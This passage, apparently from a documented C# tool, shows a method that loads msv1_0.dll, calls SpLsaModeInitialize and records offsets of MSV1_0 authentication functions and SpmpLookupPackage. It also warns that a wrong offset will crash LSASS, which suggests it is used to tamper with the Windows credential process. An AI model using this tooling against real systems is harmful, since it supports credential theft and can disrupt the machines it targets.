Method GetFunctionOffsets

client/Program.cs:455–508

(long spmpLookupPackageOffsetHint)

        }

        static InitResponse GetFunctionOffsets(long spmpLookupPackageOffsetHint) {

            IntPtr msvHandle = IntPtr.Zero;

            try {

                msvHandle = LoadLibrary("msv1_0.dll");

                if (msvHandle == IntPtr.Zero) {
                    Console.WriteLine("Failed to load msv1_0.dll");
                    return null;
                }

                long msvBase = (long)msvHandle;

                IntPtr proc = GetProcAddress(msvHandle, "SpLsaModeInitialize");
                if (proc == IntPtr.Zero) {
                    Console.WriteLine("Failed to find msv1_0 SpLsaModeInitialize proc");
                    return null;
                }

                var spLsaModeInitialize = (SpLsaModeInitialize)Marshal.GetDelegateForFunctionPointer(proc, typeof(SpLsaModeInitialize));

                if (spLsaModeInitialize(0x10000, out uint version, out IntPtr tables, out uint tableCount) != 0) {
                    Console.WriteLine("SpLsaModeInitialize failed for msv1_0");
                    return null;
                }


                long spmpLookupPackageOffset = 0;

                if (spmpLookupPackageOffsetHint == 0) { 
                    spmpLookupPackageOffset = GetSpmpLookupPackageOffset();
                }else {
                    Console.WriteLine("[=] Using supplied SpLsaModeInitialize hint, you get this wrong and LSASS WILL CRASH!!!");
                    spmpLookupPackageOffset = spmpLookupPackageOffsetHint;
                }

                var table = (SECPKG_FUNCTION_TABLE)Marshal.PtrToStructure(tables, typeof(SECPKG_FUNCTION_TABLE));

                return new InitResponse((long)table.InitLsaModeContext - msvBase,
                    (long)table.AcceptLsaModeContext - msvBase,
                    (long)table.QueryContextAttributes - msvBase,
                    (long)table.DeleteContext - msvBase,
                    (long)table.QueryCredentialsAttributes - msvBase,
                    spmpLookupPackageOffset);

            } finally {

                if(msvHandle != IntPtr.Zero) {
                    FreeLibrary(msvHandle);
                }
            }
        }

        public static byte[] StringToByteArray(string hex) {
            return Enumerable.Range(0, hex.Length)